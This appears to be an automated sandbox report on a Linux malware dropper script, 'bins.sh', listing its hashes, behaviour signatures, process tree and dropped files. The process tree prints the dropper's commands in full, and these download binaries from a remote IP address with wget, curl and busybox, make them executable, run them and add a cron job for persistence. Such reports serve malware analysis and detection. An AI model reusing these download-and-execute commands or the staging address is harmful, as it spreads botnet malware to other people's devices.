Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240418-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    10-11-2024 00:47

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    626b2399c8072b30ebfe63d2d23c416e

  • SHA1

    7a5dca06f864826e8a1ad21ffac1f9edb045bb3f

  • SHA256

    1579d7ea20d6243a2c8c7b6caa4e35fd28dc71e627adb276834dce8e5e012f9a

  • SHA512

    6f43dc9a7d2c30a0447f51d3a2fd0c90d818532d7c8ea49842fd66c6a1a15149e5d403cd8182369162925362d2d2d6d5c08fb5e95d9ee28c3ee4b237c4a35825

  • SSDEEP

    192:DnbMZhr1cEeNuN1i3L75f/szfL6dhQgN1i3L5f/szfYxnbMZhzLcEZ:DnbMZhroXA67gnbMZhz3

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1811) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 20 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:741
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:744
        • /usr/bin/wget
          wget http://87.120.84.230/bins/wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681
          2⤵
          • Writes file to tmp directory
          PID:746
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681
          2⤵
          • Writes file to tmp directory
          PID:766
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681
          2⤵
          • Writes file to tmp directory
          PID:772
        • /bin/chmod
          chmod 777 wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681
          2⤵
          • File and Directory Permissions Modification
          PID:773
        • /tmp/wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681
          ./wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681
          2⤵
          • Executes dropped EXE
          PID:774
        • /bin/rm
          rm wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681
          2⤵
            PID:776
          • /usr/bin/wget
            wget http://87.120.84.230/bins/KvH3UoksRRYPVQBB5h446C1JLpGoKMsui6
            2⤵
            • Writes file to tmp directory
            PID:777
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/KvH3UoksRRYPVQBB5h446C1JLpGoKMsui6
            2⤵
            • Writes file to tmp directory
            PID:778
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/KvH3UoksRRYPVQBB5h446C1JLpGoKMsui6
            2⤵
            • Writes file to tmp directory
            PID:779
          • /bin/chmod
            chmod 777 KvH3UoksRRYPVQBB5h446C1JLpGoKMsui6
            2⤵
            • File and Directory Permissions Modification
            PID:780
          • /tmp/KvH3UoksRRYPVQBB5h446C1JLpGoKMsui6
            ./KvH3UoksRRYPVQBB5h446C1JLpGoKMsui6
            2⤵
            • Executes dropped EXE
            PID:781
          • /bin/rm
            rm KvH3UoksRRYPVQBB5h446C1JLpGoKMsui6
            2⤵
              PID:783
            • /usr/bin/wget
              wget http://87.120.84.230/bins/k4a2H5JjVqUo2GgKWbw4m4mFhkXN4lfQBE
              2⤵
              • Writes file to tmp directory
              PID:784
            • /usr/bin/curl
              curl -O http://87.120.84.230/bins/k4a2H5JjVqUo2GgKWbw4m4mFhkXN4lfQBE
              2⤵
              • Writes file to tmp directory
              PID:791
            • /bin/busybox
              /bin/busybox wget http://87.120.84.230/bins/k4a2H5JjVqUo2GgKWbw4m4mFhkXN4lfQBE
              2⤵
              • Writes file to tmp directory
              PID:804
            • /bin/chmod
              chmod 777 k4a2H5JjVqUo2GgKWbw4m4mFhkXN4lfQBE
              2⤵
              • File and Directory Permissions Modification
              PID:810
            • /tmp/k4a2H5JjVqUo2GgKWbw4m4mFhkXN4lfQBE
              ./k4a2H5JjVqUo2GgKWbw4m4mFhkXN4lfQBE
              2⤵
              • Executes dropped EXE
              PID:811
            • /bin/rm
              rm k4a2H5JjVqUo2GgKWbw4m4mFhkXN4lfQBE
              2⤵
                PID:814
              • /usr/bin/wget
                wget http://87.120.84.230/bins/MTCQU3BqIJPZh58hmGcaOIo4s9qVOpQUaS
                2⤵
                • Writes file to tmp directory
                PID:816
              • /usr/bin/curl
                curl -O http://87.120.84.230/bins/MTCQU3BqIJPZh58hmGcaOIo4s9qVOpQUaS
                2⤵
                • Writes file to tmp directory
                PID:826
              • /bin/busybox
                /bin/busybox wget http://87.120.84.230/bins/MTCQU3BqIJPZh58hmGcaOIo4s9qVOpQUaS
                2⤵
                • Writes file to tmp directory
                PID:838
              • /bin/chmod
                chmod 777 MTCQU3BqIJPZh58hmGcaOIo4s9qVOpQUaS
                2⤵
                • File and Directory Permissions Modification
                PID:839
              • /tmp/MTCQU3BqIJPZh58hmGcaOIo4s9qVOpQUaS
                ./MTCQU3BqIJPZh58hmGcaOIo4s9qVOpQUaS
                2⤵
                • Executes dropped EXE
                PID:840
              • /bin/rm
                rm MTCQU3BqIJPZh58hmGcaOIo4s9qVOpQUaS
                2⤵
                  PID:842
                • /usr/bin/wget
                  wget http://87.120.84.230/bins/tY4qlt8J5NilOeNy0I0EYHjjYOtZkuaaSA
                  2⤵
                  • Writes file to tmp directory
                  PID:843
                • /usr/bin/curl
                  curl -O http://87.120.84.230/bins/tY4qlt8J5NilOeNy0I0EYHjjYOtZkuaaSA
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:844
                • /bin/busybox
                  /bin/busybox wget http://87.120.84.230/bins/tY4qlt8J5NilOeNy0I0EYHjjYOtZkuaaSA
                  2⤵
                  • Writes file to tmp directory
                  PID:845
                • /bin/chmod
                  chmod 777 tY4qlt8J5NilOeNy0I0EYHjjYOtZkuaaSA
                  2⤵
                  • File and Directory Permissions Modification
                  PID:846
                • /tmp/tY4qlt8J5NilOeNy0I0EYHjjYOtZkuaaSA
                  ./tY4qlt8J5NilOeNy0I0EYHjjYOtZkuaaSA
                  2⤵
                  • Executes dropped EXE
                  PID:847
                • /bin/rm
                  rm tY4qlt8J5NilOeNy0I0EYHjjYOtZkuaaSA
                  2⤵
                    PID:849
                  • /usr/bin/wget
                    wget http://87.120.84.230/bins/QxDLp4YZ0P88VbRU27iIX3zraLMxtBlUqZ
                    2⤵
                    • Writes file to tmp directory
                    PID:850
                  • /usr/bin/curl
                    curl -O http://87.120.84.230/bins/QxDLp4YZ0P88VbRU27iIX3zraLMxtBlUqZ
                    2⤵
                    • Writes file to tmp directory
                    PID:855
                  • /bin/busybox
                    /bin/busybox wget http://87.120.84.230/bins/QxDLp4YZ0P88VbRU27iIX3zraLMxtBlUqZ
                    2⤵
                    • Writes file to tmp directory
                    PID:870
                  • /bin/chmod
                    chmod 777 QxDLp4YZ0P88VbRU27iIX3zraLMxtBlUqZ
                    2⤵
                    • File and Directory Permissions Modification
                    PID:875
                  • /tmp/QxDLp4YZ0P88VbRU27iIX3zraLMxtBlUqZ
                    ./QxDLp4YZ0P88VbRU27iIX3zraLMxtBlUqZ
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:876
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:878
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:880
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:882
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:884
                        • /bin/rm
                          rm QxDLp4YZ0P88VbRU27iIX3zraLMxtBlUqZ
                          2⤵
                            PID:891
                          • /usr/bin/wget
                            wget http://87.120.84.230/bins/IfQzDbpH3k4a52gqcdTKQD2HSmomChCuZd
                            2⤵
                              PID:894
                            • /usr/bin/curl
                              curl -O http://87.120.84.230/bins/IfQzDbpH3k4a52gqcdTKQD2HSmomChCuZd
                              2⤵
                                PID:895
                              • /bin/busybox
                                /bin/busybox wget http://87.120.84.230/bins/IfQzDbpH3k4a52gqcdTKQD2HSmomChCuZd
                                2⤵
                                • Writes file to tmp directory
                                PID:976
                              • /bin/chmod
                                chmod 777 IfQzDbpH3k4a52gqcdTKQD2HSmomChCuZd
                                2⤵
                                • File and Directory Permissions Modification
                                PID:977
                              • /tmp/IfQzDbpH3k4a52gqcdTKQD2HSmomChCuZd
                                ./IfQzDbpH3k4a52gqcdTKQD2HSmomChCuZd
                                2⤵
                                • Executes dropped EXE
                                PID:978
                              • /bin/rm
                                rm IfQzDbpH3k4a52gqcdTKQD2HSmomChCuZd
                                2⤵
                                  PID:980
                                • /usr/bin/wget
                                  wget http://87.120.84.230/bins/yqK7vGqzSR0sfggzotJhm4EupCFAAlcjbu
                                  2⤵
                                    PID:981
                                  • /usr/bin/curl
                                    curl -O http://87.120.84.230/bins/yqK7vGqzSR0sfggzotJhm4EupCFAAlcjbu
                                    2⤵
                                      PID:982
                                    • /bin/busybox
                                      /bin/busybox wget http://87.120.84.230/bins/yqK7vGqzSR0sfggzotJhm4EupCFAAlcjbu
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:983
                                    • /bin/chmod
                                      chmod 777 yqK7vGqzSR0sfggzotJhm4EupCFAAlcjbu
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:984
                                    • /tmp/yqK7vGqzSR0sfggzotJhm4EupCFAAlcjbu
                                      ./yqK7vGqzSR0sfggzotJhm4EupCFAAlcjbu
                                      2⤵
                                      • Executes dropped EXE
                                      PID:985
                                    • /bin/rm
                                      rm yqK7vGqzSR0sfggzotJhm4EupCFAAlcjbu
                                      2⤵
                                        PID:987
                                      • /usr/bin/wget
                                        wget http://87.120.84.230/bins/kjLCPwxzy56lkfUZiJ9WrRpi6mCjE7cnCU
                                        2⤵
                                          PID:988
                                        • /usr/bin/curl
                                          curl -O http://87.120.84.230/bins/kjLCPwxzy56lkfUZiJ9WrRpi6mCjE7cnCU
                                          2⤵
                                          • Reads runtime system information
                                          PID:989

                                      Network

                                      MITRE ATT&CK Enterprise v15

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      • /tmp/IfQzDbpH3k4a52gqcdTKQD2HSmomChCuZd

                                        Filesize

                                        122KB

                                        MD5

                                        cd3d4b9c643e5b473fb4d88ed05f0716

                                        SHA1

                                        64ee7a97418583d759eaea8000890cc3bae1b5f4

                                        SHA256

                                        0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                        SHA512

                                        164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                      • /tmp/KvH3UoksRRYPVQBB5h446C1JLpGoKMsui6

                                        Filesize

                                        111KB

                                        MD5

                                        701e7a55a4f3650f5feee92a9860e5fc

                                        SHA1

                                        6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                        SHA256

                                        ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                        SHA512

                                        7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                      • /tmp/MTCQU3BqIJPZh58hmGcaOIo4s9qVOpQUaS

                                        Filesize

                                        98KB

                                        MD5

                                        5141342d0df8699fa32a6b066a0c592e

                                        SHA1

                                        8157673225bd5182f16215e2aa823a25ca2d4fbc

                                        SHA256

                                        54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                        SHA512

                                        d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                      • /tmp/QxDLp4YZ0P88VbRU27iIX3zraLMxtBlUqZ

                                        Filesize

                                        151KB

                                        MD5

                                        3c90d5820bddcf7c5d1bd21dfa49d958

                                        SHA1

                                        5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                        SHA256

                                        bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                        SHA512

                                        54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                      • /tmp/k4a2H5JjVqUo2GgKWbw4m4mFhkXN4lfQBE

                                        Filesize

                                        117KB

                                        MD5

                                        849fa04ef88a8e8de32cb2e8538de5fe

                                        SHA1

                                        c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                        SHA256

                                        8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                        SHA512

                                        2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                      • /tmp/tY4qlt8J5NilOeNy0I0EYHjjYOtZkuaaSA

                                        Filesize

                                        111KB

                                        MD5

                                        ca897a38f23ec23521ce0b1b83f8422d

                                        SHA1

                                        b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                        SHA256

                                        043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                        SHA512

                                        10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                      • /tmp/wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681

                                        Filesize

                                        99KB

                                        MD5

                                        9438d9bc392bcf300a5583b6df5bc8f6

                                        SHA1

                                        375a6ae34b516f6f3eeea8030c4084f585017efa

                                        SHA256

                                        68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                        SHA512

                                        1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                      • /tmp/yqK7vGqzSR0sfggzotJhm4EupCFAAlcjbu

                                        Filesize

                                        177KB

                                        MD5

                                        786d75a158fe731feca3880f436082c0

                                        SHA1

                                        79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                        SHA256

                                        5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                        SHA512

                                        7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                      • /var/spool/cron/crontabs/tmp.g8cyhd

                                        Filesize

                                        210B

                                        MD5

                                        c519cd3a4bcf61383b8336d522b3c7f8

                                        SHA1

                                        5417e0d9ac6bf7c30479b1ec21f553910e3b94bb

                                        SHA256

                                        7d9af9ad008eabb36165c4652f3e3c0efa681be293630b23af8fb13696f0d1d7

                                        SHA512

                                        1b0dfb78839c7720f253c882ddc593d72ce6fcee333449bf65d69b7fb3a9a0bdc359be1913a89c82563edaabd8e4c2e20c84e3c68b03c568246466d5dc91291f